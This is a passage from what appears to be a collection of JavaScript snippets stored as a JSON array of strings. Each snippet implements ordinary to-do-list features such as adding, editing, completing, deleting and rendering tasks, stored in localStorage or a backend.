{\n\t\t\t\t\tif(e.target.innerHTML !== 'Done') {\n\t\t\t\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\t\t\t\tinput.focus();\n\t\t\t\t\n\t\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\n\t\t\t\t\t\tbutton.addEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\t\tliElem.appendChild(document.createTextNode(originalText));\n\t\t\n\t\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\n\t\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\t\teditButton.addEventListener('click', editTasks);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} \n\t\t} else if(e.target === editButton) {\n\t\t\tif(state == 2) {\n\t\t\t\tif(input.value !== '') {\n\t\t\t\t\tconst liElem = document.createElement('li');\n\t\t\t\t\tliElem.appendChild(document.createTextNode(input.value));\n\t\t\n\t\t\t\t\tparentDiv.insertBefore(liElem, parentDiv.querySelector('.edit-button'));\n\t\t\t\t\tparentDiv.removeChild(form);\n\t\t\t\t\n\t\t\t\t\teditButton.innerHTML = 'Edit';\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\te.target.addEventListener('click', editTasks);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tinput.className = 'editTask editTask-focus';\n\t\t\t\t\tinput.focus();\n\t\t\t\t\n\t\t\t\t\tbutton.removeEventListener('click', temp);\n\t\t\t\t\tdocument.body.removeEventListener('click', temp2);\n\t\t\t\t\n\t\t\t\t\tbutton.addEventListener('click', temp);\n\t\t\t\t\tdocument.body.addEventListener('click', temp2);\n\t\t\t\t}\n\t\t\t} else if(state == 1) {\n\t\t\t\tstate = state + 1;\n\t\t\t\te.target.removeEventListener('click', editTasks);\n\t\t\t}\n\t\t}\n\t}\n}", "function addTask() {\n Task.addTask(info.newTask);\n info.newTask = \"\";\n }", "editTaskListener () {\n const editTaskButon = document.querySelector(\"#taskDisplay\")\n editTaskButon.addEventListener(\"click\", event => {\n if (event.target.id.startsWith(\"editTask--\")) {\n const taskToEdit = event.target.id.split(\"--\")[1]\n // console.log(taskToEdit)\n updateEditFields(taskToEdit)\n }\n })\n }", "function completedTask(e){\n const taskID = e.target.parentElement.id.split('-')[1];\n http\n .get(`http://localhost:3000/Tasks/${taskID}`)\n .then(data => {\n const updatedTask ={\n title : data.title,\n complete : !data.complete,\n }\n http\n .update(`http://localhost:3000/Tasks/${taskID}`, updatedTask)\n .then(task =>{\n if(task.complete === true){\n ui.showAlertMessage(`${task.title} completed`,'alert alert-info');\n }else{\n ui.showAlertMessage(`${task.title} is incomplete`,'alert alert-secondary');\n }\n getTasks();\n });\n });\n \n}", "function markTask(e){\n var status = false;\n\n if(e.target.checked){\n status = true;\n taskToDo --;\n $('#countOfTask').text('').text('Task to do: '+ taskToDo);\n }\n else{\n taskToDo ++;\n $('#countOfTask').text('').text('Task to do: '+ taskToDo);\n }\n for (var i = 0 ; i< loginUser.tasks.length; i ++){\n if(parseInt(loginUser.tasks[i].id) === parseInt(e.target.getAttribute('data-id'))){\n loginUser.tasks[i].status = status;\n $('#components' + e.target.getAttribute('data-id')).remove();\n displayTask(loginUser.tasks[i]);\n collectionOfUser.update(\n {\n id : loginUser.id,\n tasks : loginUser.tasks\n },\n function(user){\n loginUser = user;\n },\n error \n );\n }\n }\n }", "function removeTask(e) {\n\tupdateSidebar(e);\n\t\n\t//updating task description\n\tupdateTaskDescription(e);\n\t\n\te.target.parentElement.parentNode.removeChild(e.target.parentElement);\n}", "function editDelete(e) {\n\te.preventDefault();\n\n\tlet process = e.target.parentElement;\n\tif (process.classList.contains('edit-item')) {\n\t\teditTask(process);\n\t} else if (process.classList.contains('delete-item')) {\n\t\tdeleteTask(process);\n\t}\n\n}", "function modifyTasks(taskIndex, modificationType, form = \"\") \n{\n\tlet tasksArray = localStorage.getItem(\"tasks\") ? JSON.parse(localStorage.getItem(\"tasks\")) : [];\n\n\tif(typeof tasksArray[taskIndex] !== \"undefined\")\n\t{\n\t\tswitch (modificationType)\n\t\t{\n\t\tcase \"Complete\":\n\t\t\ttasksArray[taskIndex].to_do_status = \"Complete\";\n\t\t\tbreak;\n\n\t\tcase \"Edit\":\n\t\t\t//Change the title in the list item's span\n\t\t\ttasksArray[taskIndex].to_do_title = form.titleInput.value;\n\t\t\ttasksArray[taskIndex].to_do_description = form.descriptionInput.value;\n\t\t\ttasksArray[taskIndex].to_do_priority = parseInt(form.priorityInput.value);\n\t\t\tif(form.dueDateInput.value !== \"\")\n\t\t\t{\n\t\t\t\ttasksArray[taskIndex].to_do_due_date = new Date(`${form.dueDateInput.value} ${form.dueTimeInput.value}`);\n\t\t\t} \n\n\t\t\tbreak;\n\t\t}\n\t\tlocalStorage.setItem(\"tasks\", JSON.stringify(tasksArray));\n\t}\n}", "removeTask () {\n\t\tthis.deleter.addEventListener('click', (e) => {\n\t\t\tfetch('/items/'+e.target.parentNode.parentNode.parentNode.childNodes[0].getAttribute('data-task'), {\n\t\t\t\tmethod: 'DELETE',\n\t\t\t\theaders: {\n\t\t\t\t'Accept': 'application/json',\n\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t},\n\t\t\t\t\n\t\t\t})\n\t\t\t.then(res => res.text()) \n\t\t\t.then(res => console.log(res))\n\t\t\t.catch(error => console.error(error));\n\t\t\te.target.parentNode.parentNode.parentNode.remove();\n\t\t\tupdateProgess(numberOfCompletedTasks());\n\t\t});\n\n\t\t// We need to also remove tasks from the backend\n\t}", "function changeTask(event) {\n\tevent.preventDefault();\n\t//HIDE/SHOW CONTROL PANEL\n\tif(form.style.display !== \"block\") {\n\t\tform.style.display = \"block\";\n\t\tpanel.style.display = 'none';\n\t}\n\t//CREATE CHANGE BUTTON\n\tif (document.getElementById('saveTask')) {\n\t\tdocument.getElementById('saveTask').remove();\n\t}\n\tif(!document.getElementById('chgTask')) {\n\t\tvar chgTask = document.createElement('a');\n\t\tfunction setAttributes(el, attrs) {\n\t\t for(var key in attrs) {\n\t\t el.setAttribute(key, attrs[key]);\n\t\t }\n\t\t}\n\t\tsetAttributes(chgTask, {\"href\": \"#\", \"id\": \"chgTask\", \"class\": \"todo__btn\"});\n\t\tchgTask.innerHTML = 'Save changes';\n\n\t\tform.insertBefore(chgTask, form.children[4]);\n\t}\n\t//GET VALUES FROM FORM\n\tvar item = this.parentNode.parentNode;\n\tvar t = this.parentNode.parentNode.getElementsByClassName('todo__title')[0],\n\ttc = t.textContent,\n\ttitle = document.getElementById('addTitle');\n\ttitle.value = tc;\n\tvar n = this.parentNode.parentNode.getElementsByClassName('todo__name')[0].querySelector('p'),\n\tnc = n.textContent,\n\tname = document.getElementById('addName');\n\tname.value = nc;\n\tvar p = this.parentNode.parentNode.getElementsByClassName('todo__priority')[0].querySelector('p'),\n\tpc = p.textContent,\n\tprio = document.getElementById('addPriority');\n\tprio.value = pc;\n\tvar d = this.parentNode.parentNode.getElementsByClassName('todo__desc')[0],\n\tdc = d.textContent,\n\tdesc = document.getElementById('addDescription');\n\tdesc.value = dc;\n\t//CHECK FORM\n\tdocument.getElementById('chgTask').addEventListener('click', function() {\n\t\tif(title.value == '' || name.value == '' || desc.value == '') {\n\t\t\talert('Заполнены не все поля!');\n\t\t}\n\t\telse {\n\t\t\tpanel.style.display = 'flex';\n\t\t\tform.style.display = \"none\";\n\t\t\t//ADD NEW OPTION IN SELECT\n\t\t\tvar li = document.getElementsByTagName('LI');\n\t\t\tconst arrLi = [...li].map((li) => li.children[1].children[0].textContent.toLowerCase());\n\t\t\tif (!arrLi.includes(name.value.toLowerCase())) {\n\t\t\t\tvar option = document.createElement('option');\n\t\t\t\toption.setAttribute('value', name.value);\n\t\t\t\toption.setAttribute('id', name.value.replace(/\\s/g, '').toLowerCase());\n\t\t\t\toption.innerHTML = name.value;\n\t\t\t\tdocument.getElementById('selectTask').appendChild(option);\n\t\t\t}\t\n\t\t\t//CHANGE TASK\n\t\t\tvar arr = ['title', 'name', 'prio', 'desc'];\n\t\t\tfor(i=0;i<arr.length;i++) {\n\t\t\t\tvar x = arr[i].substring(0,1)\n\t\t\t\tvar y = eval(\"(\" + x + \")\") ;\n\t\t\t\tvar o = eval(\"(\" + arr[i] + \")\");\n\t\t\t\ty.innerHTML = o.value;\n\t\t\t}\n\t\t\t//REMOVE OPTION FROM SELECT\n\t\t\tvar id = nc.replace(/\\s/g, '').toLowerCase();\n\t\t\tvar li = document.getElementsByTagName('LI');\n\t\t\tconst arrLi2 = [...li].map((li) => li.children[1].children[0].textContent.replace(/\\s/g, '').toLowerCase());\n\t\t\tif (!arrLi2.includes(id)) {\n\t\t\t\tdocument.getElementById(id).remove();\n\t\t\t}\n\t\t\t//HIDE/SHOW NOT ACTIVE TASKS\n\t\t\tvar selectValue = document.getElementById('selectTask').value;\n\t\t\tif (selectValue !== \"Все\") {\n\t\t\t\tif (name.value !== selectValue) {\n\t\t\t\t\titem.setAttribute('style', 'display: none');\n\t\t\t\t}\n\t\t\t}else {\n\t\t\t\tif(li.length > 1) {\n\t\t\t\t\tdocument.getElementById('list').style.overflowY = \"scroll\";\n\t\t\t\t}\n\t\t\t\tfor(i=0;i<li.length;i++) {\n\t\t\t\t\tli[i].style.display = \"block\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t//REMOVE CHANGE BUTTON\n\t\t\tif (document.getElementById('chgTask')) {\n\t\t\t\tdocument.getElementById('chgTask').remove();\n\t\t\t}\n\t\t};\n\t\t//CHECK IF CHECKBOX IS CHECKED WHILE REPLACING VALUES IN TASK\n\t\tif (document.getElementById('setPriority').checked == true) {\n\t\t\tsortList();\n\t\t}\n\n\t\ttoLocal();\n\t\ttoLocal2();\n\t});\t\n}", "function editTask() {\n const buttonEdit = document.querySelectorAll('.button-edit')\n buttonEdit.forEach(button => {\n button.onclick = function (event) {\n event.path.forEach(el => {\n if (el.classList?.contains(listItemClass)) {\n const input = el.querySelector('.list-block__input')\n const p = el.querySelector('.list-block__p-text')\n const imgEdit = el.querySelector('.button-edit')\n const imgSave = el.querySelector('.button-save')\n imgSave.classList.remove('button--hidden')\n imgEdit.classList.add('button--hidden')\n input.value = p.textContent\n p.classList.add('list-block__text--hidden')\n input.classList.remove('list-block__text--hidden')\n input.focus()\n }\n })\n }\n })\n }", "function saveTask(event) {\n\tevent.preventDefault();\n\t//GET VALUE FROM NEW TASK FORN\n\tvar titleValue = document.getElementById('addTitle').value,\n\tnameValue = document.getElementById('addName').value,\n\tprioValue = document.getElementById('addPriority').value,\n\tdescValue = document.getElementById('addDescription').value;\n\t//CREATE NEW TASK ELEMENTS\n\t//CREATE LI ITEM\n\tvar li = document.createElement('li');\n\tli.classList.add('todo__item');\n\t//CREATE TITLE\n\tvar title = document.createElement('h3');\n\ttitle.classList.add('todo__title');\n\ttitle.innerHTML = titleValue;\n\t//CREATE NAME\n\tvar name = document.createElement('span');\n\tname.classList.add('todo__name');\n\tname.innerHTML = 'Проект: <p>' + nameValue + '</p>';\n\t//CREATE PRIORITY\n\tvar priority = document.createElement('span');\n\tpriority.classList.add('todo__priority');\n\tpriority.innerHTML = 'Priority: <p>' + prioValue +'</p>';\n\t//CREATE DESCRIPTION\n\tvar desc = document.createElement('p');\n\tdesc.className = 'todo__desc';\n\tdesc.innerHTML = descValue;\n\tdesc.style.display = \"none\";\n\t//CREATE BUTTONS PANEL\n\tvar btns = document.createElement('div');\n\tbtns.classList.add(\"todo__btns\");\n\tvar btnChange = document.createElement('a');\n\tbtnChange.classList.add(\"todo__btn\", \"todo__btn--change\");\n\tbtnChange.innerHTML = \"Изменить\";\n\tbtnChange.onclick = changeTask;\n\tvar btnClose = document.createElement('a');\n\tbtnClose.classList.add(\"todo__btn\", \"todo__btn--close\");\n\tbtnClose.innerHTML = \"Закрыть\";\n\tbtnClose.onclick = delItem;\n\tvar btnToggle = document.createElement('a');\n\tbtnToggle.classList.add(\"todo__btn\", \"todo__btn--toggle\");\n\tbtnToggle.innerHTML = \"Развернуть\";\n\tbtnToggle.onclick = showHideDescription;\n\tvar arrBtn = [btnChange, btnClose, btnToggle];\n\tfor(var i = 0; i < arrBtn.length; i++) {\n\t\tarrBtn[i].setAttribute('href', '#');\n\t\tbtns.appendChild(arrBtn[i])\n\t}\n\t//CHECK FORM\n\tif (descValue == '' || nameValue == '' || titleValue == '') {\n\t\talert('Заполнены не все поля!');\n\t} else {\n\t\tpanel.style.display = 'flex';\n\t\tform.style.display = \"none\";\n\t\t//ADD NEW OPTION IN SELECT\n\t\tvar elem = document.getElementsByTagName('LI');\n\t\tconst arrElem = [...elem].map((elem) => elem.children[1].children[0].textContent.toLowerCase());\n\t\tif (!arrElem.includes(nameValue.toLowerCase())) {\n\t\t\tvar option = document.createElement('option');\n\t\t\toption.setAttribute('value', nameValue);\n\t\t\toption.setAttribute('id', nameValue.replace(/\\s/g, '').toLowerCase());\n\t\t\toption.innerHTML = nameValue;\n\t\t\tdocument.getElementById('selectTask').appendChild(option);\n\t\t}\n\t\t//ADD ELEMENT\n\t\tvar item = document.getElementById('list').appendChild(li),\n\t\tselectValue = document.getElementById('selectTask').value,\n\t\tcount = localStorage.on_load_counter || 0;\n\t\titem.setAttribute('data', localStorage.on_load_counter = ++count);\n\t\tif (selectValue !== \"Все\") {\n\t\t\tif (nameValue !== selectValue) {\n\t\t\t\titem.setAttribute('style', 'display: none');\n\t\t\t}\n\t\t}\n\t\tvar arrEl = [title, name, priority, desc, btns];\n\t\tfor (i = 0; i < arrEl.length; i++) {\n\t\t\titem.appendChild(arrEl[i]);\n\t\t}\n\t\tif (document.getElementById('todoAlert')) {\n\t\t\tdocument.getElementById('todoAlert').remove();\n\t\t}\n\t\tdocument.getElementById('saveTask').remove();\n\t}\n\tif (document.getElementById('setPriority').checked == true) {\n\t\tsortList();\n\t}\n\tcheckBlockHeight();\n\tif (li.length == 1 || li.length == 0) {\n\t\tdocument.getElementById('list').style.overflowY = \"hidden\";\n\t}\n\ttoLocal();\n\ttoLocal2();\n}", "function editTask(event) {\n const taskInput = this.parentNode.parentNode.querySelector('input');\n const taskName = this.parentNode.parentNode.querySelector('span');\n if (event.key === 'Enter' && taskInput.value !== '') {\n taskName.textContent = sanitizeHTML(taskInput.value);\n const keyValue = taskInput.dataset.key\n manageTasksAjax(event, taskInput.value, keyValue,)\n\n\n taskInput.value = '';\n taskInput.classList.add('d-none');\n taskInput.classList.remove('active-input');\n taskName.classList.remove('d-none');\n\n\n }\n\n window.removeEventListener('keydown', editTask);\n\n}", "function addTasks(e) {\n\t\n\t//Condition to check the user input, if not an empty string add the task\n\tif((inputElem.value !== '') || (e.target.className === 'add-new-todo-button')) {\n\t\t\n\t\t//focusing the input for guiding the user to add next task\n\t\tinputElem.focus();\n\t\t\n\t\t//Declaration for adding new tasks \n\t\tconst checkBox = document.createElement('input');\n\t\tconst newTask = document.createElement('li');\n\t\tconst editButton = document.createElement('button');\n\t\tconst removeButton = document.createElement('button');\n\t\tconst divChild = document.createElement('div');\n\t\tconst output = document.querySelector('.output');\n\t\t\t\t\t\n\t\tcheckBox.type = 'checkbox';\n\t\tcheckBox.className = 'done';\n\t\t\n\t\tnewTask.appendChild(document.createTextNode(inputElem.value));\n\t\t\n\t\teditButton.className = 'edit-button';\n\t\teditButton.appendChild(document.createTextNode('Edit'));\n\t\t\n\t\tremoveButton.className = 'remove-button';\n\t\tremoveButton.appendChild(document.createTextNode('Remove'));\n\t\t\n\t\t\t\t\t\n\t\tdivChild.appendChild(checkBox);\n\t\tdivChild.appendChild(newTask);\n\t\tdivChild.appendChild(editButton);\n\t\tdivChild.appendChild(removeButton);\n\t\t\n\t\tif(newTaskState === 0) {\n\t\t\t\n\t\t\tconst listOfTask = document.createElement('div');\n\t\t\tconst div = document.createElement('div');\n\t\t\t\n\t\t\tlistOfTask.className = `tasks main-${uniqueKey}`;\n\t\t\tlistOfTask.appendChild(div);\n\t\t\t\n\t\t\tdiv.className = `task-list task-list-main-${uniqueKey}`;\n\t\t\t\n\t\t\toutput.appendChild(listOfTask);\n\t\t\taddTaskTitle(e);\n\t\t\t\n\t\t\tif(e.target.className !== 'add-new-todo-button') {\n\t\t\t\tdiv.appendChild(divChild);\n\t\t\t\thideDescription();\n\t\t\t\tnewTask.addEventListener('click', addTaskDescription);\n\t\t\t\t\n\t\t\t\tupdateSidebar(e);\n\t\t\t}\n\t\t\t\n\t\t\tnewTaskState = newTaskState + 1;\n\t\t} else {\n\t\t\tconst div = output.querySelector(`.task-list-main-${targetUniqueKey}`);\n\t\t\tdiv.appendChild(divChild);\n\t\t\thideDescription();\n\t\t\tnewTask.addEventListener('click', addTaskDescription);\n\t\t\t\n\t\t\tupdateSidebar(e);\n\t\t}\n\t\t\n\t\t//Making the input value to empty string\n\t\tinputElem.value = '';\n\t\t\n\t\teditButton.addEventListener('click', editTasks);\n\t\tremoveButton.addEventListener('click', removeTask);\n\t\tcheckBox.addEventListener('change', strikeTask);\n\t}\n\t\n\telse {\n\t\terror();\n\t}\n\t\n\t\n\t//Prevent default behaviour of form element\n\te.preventDefault();\n}", "function editTask(element){\r\n\tvar inputBox = _('#inputBox');\r\n inputBox.classList.add('ButtomUp');\r\n\tinputBox.style.display = \"block\";\r\n\t\r\n var elementId = element.offsetParent.id;\r\n\tvar elementDb = ldb.tasks[elementId][0];\r\n\t\r\n\tvar tasksText = _('#tasksText');\r\n\ttasksText.value = elementDb.task;\r\n\ttasksText.select();\r\n\r\n\tvar dateForTask = _('#dateForTask');\r\n\tif(elementDb.deadline!=''){\r\n\t\tdateForTask.style.visibility = 'visible';\r\n\t\tdateForTask.innerText = elementDb.deadline;\r\n\t}\r\n\r\n\tldb.editTaskId = elementId;\r\n\tldb.screen = 2; //2 for edit on 'Apply' Btn \r\n}", "removeTask(target) {\n if (!target.classList.contains(\"todo-list__btn-remove\")) return;\n let li = target.parentElement;\n if (li.classList.contains(\"todo-list__item--done\")) {\n let index = [...li.parentElement.children].indexOf(li);\n this.doneTaskArr.splice(index - 1, 1);\n this.taskToLocal(\"doneTask\", this.doneTaskArr);\n li.remove();\n } else {\n let index = [...li.parentElement.children].indexOf(li);\n this.undoneTaskArr.splice(index - 1, 1);\n this.taskToLocal(\"undoneTask\", this.undoneTaskArr);\n li.remove();\n }\n }", "function editTask(id) {\n const updatedTasks = tasks.filter((task) => task.taskId !== id);\n const taskToEdit = tasks.filter((task) => task.taskId === id);\n\n setTaskContent(taskToEdit[0].content);\n setTasks(updatedTasks);\n }", "function replaceEditedTask() {\n var tasks = document.getElementsByTagName(\"task\");\n for (i = 0; i < tasks.length; i++) {\n var currentTask = tasks[i];\n if (currentTask === editedTask) {\n localStorage.removeItem(i);\n var action = $(\"#action\").val();\n var done = $(\"#done:checked\").val();\n var dueDate = $(\"#dueDate\").val();\n var newTask = [];\n newTask[0] = action;\n newTask[1] = (done === \"on\");\n newTask[2] = dueDate;\n\n localStorage.setItem(i, JSON.stringify(newTask));\n addTaskData();\n }\n }\n }", "function add_task() {\n const task = NEW_TASK.value.trim();\n if (task !== '') {\n COMPLETE_ALL.checked = false;\n TASK_LIST.appendChild(create_task(task, false));\n }\n NEW_TASK.value = '';\n save();\n}", "function editTask()\n{\n //Introduces the elements of the task to the function.\n var listItem = this.parentNode;\n var editInput = listItem.querySelector('textarea');\n var label = listItem.querySelector(\"label\");\n var detailDesc = listItem.querySelector(\"textArea\");\n var editTaskButton = listItem.querySelector(\"button\");\n var iHold = listItem.querySelector(\"p\");\n\n //Overwrites the edit input (what the new value is) to the item in the array.\n taskArr[iHold.innerText] = {Name: taskArr[iHold.innerText].Name, Description: editInput.value, Date: taskArr[iHold.innerText].Date, MDate: taskArr[iHold.innerText].MDate};\n\n //Hides and displays the text area for edits.\n if (detailDesc.style.display == \"none\") \n {\n detailDesc.style.display = \"block\";\n } else \n {\n detailDesc.style.display = \"none\";\n }\n\n //turns the class to editmode.\n var containsClass = listItem.classList.contains(\"editMode\");\n\n if(containsClass) \n {\n label.innerText = editInput.value;\n } else \n {\n editInput.value = label.innerText;\n }\n\n if (detailDesc.style.display == \"block\") \n {\n label.style.display = \"none\";\n } else \n {\n label.style.display = \"block\";\n }\n\n //Changes the edit button to a save button.\n if (detailDesc.style.display == \"none\") \n {\n editTaskButton.innerHTML = \"Edit\";\n } else \n {\n editTaskButton.innerHTML = \"Save\";\n }\n\n listItem.classList.toggle(\"editMode\");\n\n console.log(taskArr);\n}", "function addTask(task) {\n var appTaskList = $('[phase-id=' + task.phase + '] .list');\n var allTasksList = $('.tasks-Pending .list');\n var taskItem ={\n _id: task._id,\n phase: task.phase,\n completed: task.completed,\n description: task.description,\n dueDate: task.dueDate\n };\n\n // if no tasks in pending list, create the pending list\n if(allTasksList.children().length==0) {\n var list = $('#task-list');\n list.prepend(Handlebars.templates['tasks']({\n label: 'Pending Tasks',\n tasks: [taskItem]\n })); \n } else {\n allTasksList.append(Handlebars.templates['task'](taskItem));\n }\n\n appTaskList.append(Handlebars.templates['task'](taskItem));\n $('.ui.checkbox').checkbox();\n}", "function add_new_task()\n {\n //get task text\n let tmp_tsk_txt = document.getElementById(\"new_tsk_txt\").value;\n \n //check that task text not empty-cells\n if(tmp_tsk_txt == \"\")\n {\n doc_alert(\"You cannot submit a blank task.\");\n return false;\n }\n else\n {\n \n let tmp_task = create_new_task(tmp_tsk_txt);\n add_task(tmp_task);\n //add task to the task list\n curr_list.todos.push(tmp_task);\n update_list(curr_list);\n return true;\n }\n }", "function editTask(self){\n clearInterval(timeVar);\n var neededId = getNeededId(self);\n sel = '#editor_' + neededId;\n StringToAppend = correctorForm({Id: neededId});\n $(sel).append(StringToAppend);\n $(\".corrector\").on(\"click\", function(){\n var submitCorrection = submitCorrectedData(this);\n del_sel = '#'+neededId;\n $(del_sel).remove();\n });\n}", "function modifyTask(bot, message, short_id, commandline, annotate) {\n // add a reaction so the user knows we're working on it\n bot.addReaction(message, 'thinking_face')\n\n const tokens = commandline.split(' ')\n tokens.splice(0, 2)\n const text = tokens.join(' ')\n\n // get a list of all pending tasks\n getTasks(bot, message, message.user, short_id, (err, response, tasks) => {\n // loop over all tasks...\n for (let i = 0; i < tasks.length; i++) {\n const task = tasks[i];\n\n // if this is the task to start/stop\n if (String(task.short_id) === String(short_id)) {\n // create a task object from old task and the user input\n const oldStatus = task.status\n const newTask = taskFunctions.cl2task(text, task, annotate)\n const newStatus = newTask.status\n if (oldStatus !== 'completed' && newStatus === 'completed') {\n completeTask(bot, message, task.short_id)\n } else {\n // get the token for the user\n getIntheamToken(bot, message, message.user, (token) => {\n const settings = prepareAPI(`tasks/${task.id}`, 'PUT', token);\n\n settings.body = newTask;\n\n // call the inthe.am API to add the new task\n apiRequest(bot, message, settings, (apiErr, apiResponse, body) => {\n // remove the reaction again\n bot.removeReaction(message, 'thinking_face')\n\n bot.botkit.log('changed task', message.user);\n const link = `<https://inthe.am/tasks/${body.id}|${body.short_id}>`\n const answerText = `Alright, I've changed task ${link} for you.`\n\n const answer = {\n channel: message.channel,\n as_user: true,\n }\n\n const attachment = {}\n attachment.title = answerText\n attachment.callback_id = task.short_id\n\n const actions = [\n {\n name: 'done',\n text: ':white_check_mark: Done',\n value: 'done',\n type: 'button',\n style: 'primary',\n },\n ]\n\n const startStopButton = {\n type: 'button',\n }\n if (task.start) {\n startStopButton.name = 'stop'\n startStopButton.value = 'stop'\n startStopButton.text = ':stopwatch: Stop'\n } else {\n startStopButton.name = 'start'\n startStopButton.value = 'start'\n startStopButton.text = ':stopwatch: Start'\n }\n actions.push(startStopButton)\n\n actions.push({\n name: 'details',\n text: ':information_source: Details',\n value: 'details',\n type: 'button',\n })\n\n actions.push({\n type: 'button',\n name: 'task',\n value: 'task',\n text: ':exclamation: Top 3',\n })\n\n actions.push({\n type: 'button',\n name: 'list',\n value: 'list',\n text: ':notebook: List',\n })\n\n attachment.actions = actions;\n\n answer.attachments = [attachment];\n\n bot.api.chat.postMessage(answer, (postErr, postResponse) => {\n if (!postErr) {\n // bot.botkit.log('task details sent');\n } else {\n bot.botkit.log('error sending task added message', postResponse, postErr);\n }\n })\n })\n })\n }\n }\n }\n })\n}", "addTodo(){\n //get input content\n let task = qs(\"#inputToDo\");\n //save todo\n saveTodo(task.value, $this.key);\n //render the new list with a saved context variable.\n $this.listTodos();\n //Clear the input for a new task to be added\n task.value = \"\";\n }", "taskClick() {\n // prevent browser default\n this.taskArea.on('click', 'li', (event) => {\n event.preventDefault();\n // find the specific li clicked on\n let liClicked = $(event.target);\n\n // Find the Element's ID\n let liID = liClicked.attr('id');\n\n // add the remove class here\n\n // Toggle the completed class on that li\n // liClicked.toggleClass('completed');\n\n // Find the item in the array by it's ID\n let specTask = _.find(this.todoListInstance.tasks, { id: Number(liID)});\n //^^^this allows you to find a specific object in our array.\n\n // Use the .toggleStatus method to chang the status\n // console.log(specTask);\n specTask.toggleStatus();\n // console.log(specTask);\n\n // use .addClass to change the view\n\n // you MUST specify which li was click on in this function block\n // console.log(event.target);\n // console.log('Task Clicked');\n });\n }", "updateTask(task) {\n document.querySelector('#InputTaskName').value = task[0].name;\n document.querySelector('#InputTaskDescription').value = task[0].description;\n document.querySelector('#duedate').value = task[0].dueDate;\n document.querySelector('#assigned-name').value = task[0].assignedTo;\n document.querySelector('#task-status').value = task[0].status;\n document.forms.todoform.stars.value = task[0].rating;\n }", "function completedTasksHandler(task, taskId) {\n let checkedSec = document.querySelector(\".cmpltTasksSec\");\n addTask(task);\n let checkedTask = document.querySelector(\n \"[data-task-id=\" + CSS.escape(taskId) + \"]\"\n );\n checkedSec.appendChild(checkedTask);\n // Setting the Checkbox's UI to true\n let checkBx = checkedTask.querySelector(\".check-box\");\n checkBx.checked = true;\n // Modifying the CSS for Completed Tasks\n let lbl = checkedTask.querySelector(\"label\");\n let editBtn = checkedTask.querySelector(\".edit-btn\");\n lbl.classList.add(\"cmplt-task\");\n // Removing Edit Button in Completed Tasks Section\n editBtn.classList.toggle(\"cmplt-edit-btn\");\n}", "edit_apply(task_id, taskNewTitle) {\n Tasks\n .update({\n '_id': task_id\n }, {\n $set: {text: taskNewTitle},\n });\n\n\n this.task_to_change = \"\"; // reset input clicked (close input edit)\n }", "function renderTask() {\n // e.preventDefault();\n //creates task item\n const todos = document.createElement(\"li\");\n todos.classList.add(\"todos\");\n //creates checkbox\n const checkBox = document.createElement(\"input\");\n checkBox.classList.add(\"checkbox-list\");\n checkBox.setAttribute(\"type\", \"checkbox\");\n //creates list item\n const listItem = document.createElement(\"li\");\n listItem.classList.add(\"listItem\");\n listItem.innerHTML = inputValue.value;\n //creates X icon to delete item\n const xIcon = document.createElement(\"img\");\n xIcon.classList.add(\"xClose\");\n // xIcon.setAttribute(\"src\", \"../images/icon-cross.svg\");\n //EDIT BUTTON\n const EditBtnsWrapper = document.createElement(\"span\");\n EditBtnsWrapper.classList.add(\"EditBtnsWrapper\");\n //EDIT BUTTON\n const editButton = document.createElement(\"button\");\n editButton.innerHTML = '<i class=\"fas fa-paperclip\"></i> ';\n editButton.classList.add(\"edit-btn\");\n editButton.addEventListener(\"click\", () => {\n listItem.setAttribute(\"contentEditable\", true);\n listItem.focus();\n });\n //appends items to list\n EditBtnsWrapper.append(editButton, xIcon);\n todos.append(checkBox, listItem, EditBtnsWrapper);\n // todoList.appendChild(todos);\n todoList.insertBefore(todos, todoList.firstChild);\n\n inputValue.value = null;\n inputValue.focus();\n listItems++;\n itemsValue();\n}", "deleteTask(taskId) {\n\t\tconst todos = this.getAndParse('tasks');\n\t\tconst filteredTodos = todos.filter(task => task.id !== taskId);\n\t\tthis.stringifyAndSet(filteredTodos, 'tasks');\n\t}", "updateTask() { \r\n\r\n }", "function addTask(){\n //update localstorage\n todos.push({\n item: $newTaskInput.val(),\n done: false\n })\n localStorage.setItem('todos', JSON.stringify(todos))\n //add to ui\n renderList()\n $newTaskInput.val('')\n $newTaskInput.toggleClass('hidden')\n $addTask.toggleClass('hidden')\n $addBtn.toggleClass('hidden')\n}", "updateAllTasks(){\n const taskField = document.getElementById(\"task-field\")\n let targetTeamId = this.teamId;\n // let teamTasks = Task.all.filter(task => task.teamId === targetTeamId)\n let teamTasks = Task.all.filter(task => task.teamId === targetTeamId).sort(function(a, b){return a.urgency - b.urgency}).sort(function(a, b){return a.dueDate - b.dueDate}).sort(function(a, b){return a.complete - b.complete})\n let taskArr = ''\n // d\n for (const task of teamTasks){\n taskArr += task.createTaskForDom()\n }\n taskField.innerHTML = taskArr;\n document.querySelectorAll(\".complete\").forEach(btn => btn.addEventListener(\"click\", completeStatus));\n document.querySelectorAll(\".delete-tasks\").forEach(btn => btn.addEventListener(\"click\", removeTask));\n }", "function editTask(req, res){\n\n\tlet id=req.query.id\n\tTodoList.find({}, function(err,toDoList){\n\t\tif(err){\n\t\t\tconsole.log('Error in editing task');\n\t\t\treturn\n\t\t}\n\t\treturn res.render('home', {\n\t\t\ttitle: \"Home\",\n\t\t\tTask_List: toDoList,\n\t\t\ttaskId: id\n\t\t});\n\t})\n\n}", "function submitEditTask() {\r\n let textInput = document.querySelector(\"#taskInput\");\r\n\r\n if (textInput.value == \"\") {\r\n return;\r\n }\r\n\r\n let 